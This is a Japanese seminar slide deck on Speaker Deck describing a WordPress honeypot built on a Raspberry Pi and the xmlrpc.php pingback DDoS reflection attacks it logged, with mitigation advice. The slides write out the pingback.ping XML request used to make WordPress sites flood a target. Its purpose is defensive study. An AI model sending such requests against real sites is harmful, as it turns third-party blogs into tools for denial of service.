Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
ハニーポットで捕らえるWordPressへの攻撃
Search
junk_coken
August 04, 2016
Technology
1
3.8k
ハニーポットで捕らえるWordPressへの攻撃
OSCKyoto2016 国立セキュリティ・キャンプ第12期同窓会
セミナー資料
junk_coken
August 04, 2016
Tweet
Share
More Decks by junk_coken
See All by junk_coken
HTTPSハニポとFingerprint
junk_coken
1
2k
6/14総サイLT~ハニーポットを作ってる話~
junk_coken
0
1.8k
ハニーポットで集める攻撃手法-seccamp2016
junk_coken
2
960
Other Decks in Technology
See All in Technology
ソフトウェア開発現代史: なぜ日本のソフトウェア開発は「滝」なのか?製造業の成功体験とのギャップ #jassttokyo
takabow
2
640
3/26 クラウド食堂LT #2 GenU案件を通して学んだ教訓 登壇資料
ymae
1
120
SSH公開鍵認証による接続 / Connecting with SSH Public Key Authentication
kaityo256
PRO
2
180
LINEギフトのLINEミニアプリアクセシビリティ改善事例
lycorptech_jp
PRO
0
100
React Server Componentは 何を解決し何を解決しないのか / What do React Server Components solve, and what do they not solve?
kaminashi
5
750
Amazon Q Developer 他⽣成AIと⽐較してみた
takano0131
1
110
セマンティックレイヤー入門
ikkimiyazaki
7
2.3k
頻繁リリース × 高品質 = 無理ゲー? いや、できます!/20250306 Shoki Hyo
shift_evolve
0
130
AIが変えるソフトウェア開発__未来のアジャイルチームとは__.pdf
buchirei
0
360
KCD Brazil '25: Enabling Developers with Dapr & Backstage
salaboy
1
110
Alpine.js を活用した Laravel MPA フロントエンド最適化戦略 / Alpine.js MPA
tzmfreedom
1
690
ウェブアクセシビリティとは
lycorptech_jp
PRO
0
140
Featured
See All Featured
The Power of CSS Pseudo Elements
geoffreycrofte
75
5.7k
Faster Mobile Websites
deanohume
306
31k
Testing 201, or: Great Expectations
jmmastey
42
7.3k
A Philosophy of Restraint
colly
203
16k
Site-Speed That Sticks
csswizardry
4
450
How STYLIGHT went responsive
nonsquared
99
5.4k
Helping Users Find Their Own Way: Creating Modern Search Experiences
danielanewman
29
2.5k
Raft: Consensus for Rubyists
vanstee
137
6.8k
StorybookのUI Testing Handbookを読んだ
zakiyama
28
5.6k
Bootstrapping a Software Product
garrettdimon
PRO
307
110k
Optimising Largest Contentful Paint
csswizardry
34
3.1k
Producing Creativity
orderedlist
PRO
344
40k
Transcript
ハニーポットで捕らえる WordPressへの攻撃 国立セキュリティ・キャンプ第12期同窓會 junk_coken (@junk_coken)
自己紹介 •@junk_coken •セキュリティ・キャンプ全国大会2015参加 • 2016検知トラックチューター •ハニーポットを中心に独学研究している 自称ハニーポッター見習い
セミナー内容 •ハニーポットの紹介 •ハニーポットで捕れた WordPressへの攻撃解説 •時間の都合上1つだけ
ハニーポットとは?
ハニーポットとは? • わざと脆弱性がありそうなシステムを設置、 それに対して行われる攻撃ログ、マルウェアを収集する • 別に脆弱性を持っている必要はない • クラッカーの攻撃手法やマルウェアの実態がわかる
ハニーポットの環境
今回のハニーポット • NginxとWordPressで作ったハニーポット • 実際のシステムを使うことでより特化し柔軟なハニーポットに なる (ただしそれなりにリスクはある) • Raspberry Pi
2 & Raspbian • Raspberry Piでも十分快適!!!
今回の収集対象 •基本的にはHTTPのHTTPリクエスト(GET,POST) •WordPressなので、主にWordPressに対する攻撃を 集める • WordPress以外に対する攻撃も取れる
WordPress • ご存知有名なブログシステム • Pluginを利用することで拡張することができる • 今回は最低限のPluginを入れておく • 自作記事自動投稿プラグイン(ズンドコするやつ) •
WP-Mail-SMTP • Contact form 7 • Disable XML-RPC Pingback • 攻撃の有無はログで見分ける!
• (画像)
攻撃解説 xmlrpc.phpによるDDoS
XMLRPC.phpを狙ったDDoS踏み台攻撃 IPアドレス - - [日時] "GET /feed/ HTTP/1.1" 200 ※見辛いためログを簡略化しています
IPアドレス - - [日時] “POST /xmlrpc.php HTTP/1.0” 499 “<?xmlversion=¥x221.0¥x22?><methodCall><methodName>pingback.ping</m ethodName><params><param><value><string>外部のアドレス </string></value></param><param><value><string>記事のアドレス </string></value></param></params></methodCall>“ IPアドレス - - [日時] “POST /xmlrpc.php HTTP/1.0” 499 “<?xmlversion=¥x221.0¥x22?><methodCall><methodName>pingback.ping</m ethodName><params><param><value><string>外部のアドレス </string></value></param><param><value><string>記事のアドレス </string></value></param></params></methodCall>"
行動をトレースしてみる
①GET /feed/ XMLが返ってくる RSSのためのXML
①GET /feed/ <?xml version”1.0” encoding=“UTF-8”?> ・ ・ ・ <channel> ・
・ ・ <title>2016年07月26日、本日のZUNDOKOKIYOSHI!!</title> <link>記事URL</link> <comments>記事URL/#respond</comments> <pubDate>Mon, 25 Jul 2016 15:20:33 +0000</pubDate> <dc:creator><![CDATA[zundoko]]></dc:creator> <category><![CDATA[未分類]]></category> ↙記事があるかどうかをチェック
②POST /xmlrpc.php -request Content Type:application/xml “<?xml version= 1.0 ?> <methodCall>
<methodName>pingback.ping</methodName> <params><param> <value><string>攻撃先URL</string></value> </param><param> <value><string>WordPressの記事</string></value> </param></params> </methodCall>" このリクエストを何度も送信!!(DoS)
そもそもxmlrpc.phpとは? • XML-RPCというプロトコル • データをXMLで送受信しやすくするためのプロトコル • WordPressでXML-RPCを使うAPIが提供されている • XML-RPC WordPress
API • Blogger API, metaWeblog API, Movable Type API, Pingback API • xmlrpc.phpはXML-RPCのAPIを直接利用する • DDoSはXML-RPC API内のPingbackAPIを悪用し行われる
PingbackAPI • DDoSに悪用されるが、当然想定外 • PingBackは、他人の記事をリンクしたときに 「リンクしましたよ」と伝える機能 • このWordPress PingBackAPIは、WordPress同士での利用を想定して いる
• リンクした側がWordPressなら、リンクされた側がWordPressでなくても 送られる ↓ 悪用に繋がる
Pingback通常の動作 -request リンクするサイト:http://A.ex リンクされるサイト:http://B.ex POST http://B.ex/xmlrpc.php <?xml version= 1.0 ?>
<methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://A.ex/blogno1</string></value></param> <param><value><string>http://B.ex/blogno1</string></value></param> </params> </methodCall>
Pingback通常の動作 -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params><param><value> <string>http://A.ex より http://B.exへのピンバックが登録されま
した。ウェブでの会話を続けてください ! :-)</string> </value></param></params> </methodResponse>
Pingback通常の動作 -Arequest • 同時に、このリクエストも送信される GET http://B.ex/blogno1 UserAgent:“WordPress/4.5.3; http://A.ex; verifying pingback
from 送信元IP"
Pingback通常の動作(もう一回) -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>http://A.ex/blogno1</string></value></param> <param><value><string>http://B.ex/blogno1</string></value></param> </params> </methodCall>
Pingback通常の動作(もう一回) -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>48</int></value>
</member><member> <name>faultString</name> <value><string>そのピンバックはすでに登録済みです。</string></value> </member></struct></value> </fault> </methodResponse>
Pingback通常の動作(もう一回) -request •今度は、GETリクエストは送られない
どうやって悪用するか?
Pingback悪用時の動作 -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>攻撃対象のURL</string></value></param> <param><value><string>WordPressの記事</string></value></param> </params> </methodCall>
Pingback悪用時の動作 -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>0</int></value>
</member><member> <name>faultString</name> <value><string></string></value> </member></struct></value> </fault> </methodResponse>
Pingback悪用時の動作 -攻撃対象へのreq WordPressのIP - - [日時] “GET / HTTP/1.0” 200
25805 “-” “WordPress/4.5.3; WordPressのURL; verifying pingback from 攻撃者のIP" "-" "-" • WordPressではないのにアクセスされる・・・。
Pingback悪用時の動作(もう一回) -request POST /xmlrpc.php <?xml version= 1.0 ?> <methodCall> <methodName>pingback.ping</methodName>
<params> <param><value><string>攻撃対象のURL</string></value></param> <param><value><string>WordPressの記事</string></value></param> </params> </methodCall>
Pingback悪用時の動作(もう一回) -response <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <fault> <value><struct><member> <name>faultCode</name> <value><int>0</int></value>
</member><member> <name>faultString</name> <value><string></string></value> </member></struct></value> </fault> </methodResponse>
Pingback悪用時の動作 -攻撃対象へのreq WordPressのIP - - [日時] “GET / HTTP/1.0” 200
25805 “-” “WordPress/4.5.3; WordPressのURL; verifying pingback from 攻撃者のIP" "-" "-" • 何度でも可能 ↓ • DDoSへ悪用
まとめ • WordPressのxmlrpc.phpはデフォルトでDDoSの脆弱性を抱えている • 悪用されないためには、xmlrpc.phpにアクセス制限を掛ける、 もしくはPingback APIを無効化するプラグインを利用する • しかし、プラグインによる無効化だとDoS自体は解消されない (VPS等ではお叱りを受ける可能性がある)
• ただし、このDDoSは効果が薄い • DDoSと同じ量をDoSしないといけない(1アクセスにつき1回) • 攻撃元IPがUserAgentであるが晒される • 非効率的だが、デフォルトで存在するので成功率は高い
おまけ ハニーポット、やってみませんか?
初めてのハニーポット • ハニーポットは大きく分けて2種類 • 低対話型:サービスをエミュレーション • 高対話型:実際のサービスをそのまま使う • Webサービスに対する攻撃を集めたい場合、 特に何もしないHTMLを置いておくだけでもある程度取れる。
• ただし高対話型なので更新は怠らないように • マルウェアを集めて解析を行いたい場合、低対話型を使う • おすすめはSSHハニーポットCowrie • ごりごりマルウェアが放り込まれる
注意点 • 契約プロバイダの禁止事項に抵触しないよう確認の上作りましょう。 • ハニーポットで知った攻撃方法を自分の管理外のコンピュータなど で試してはいけません。 • アクセス制御はしっかり行いましょう。 • 定期的にメンテナンスしましょう。
君も攻撃の実状を 確かみてみろ!!! -終-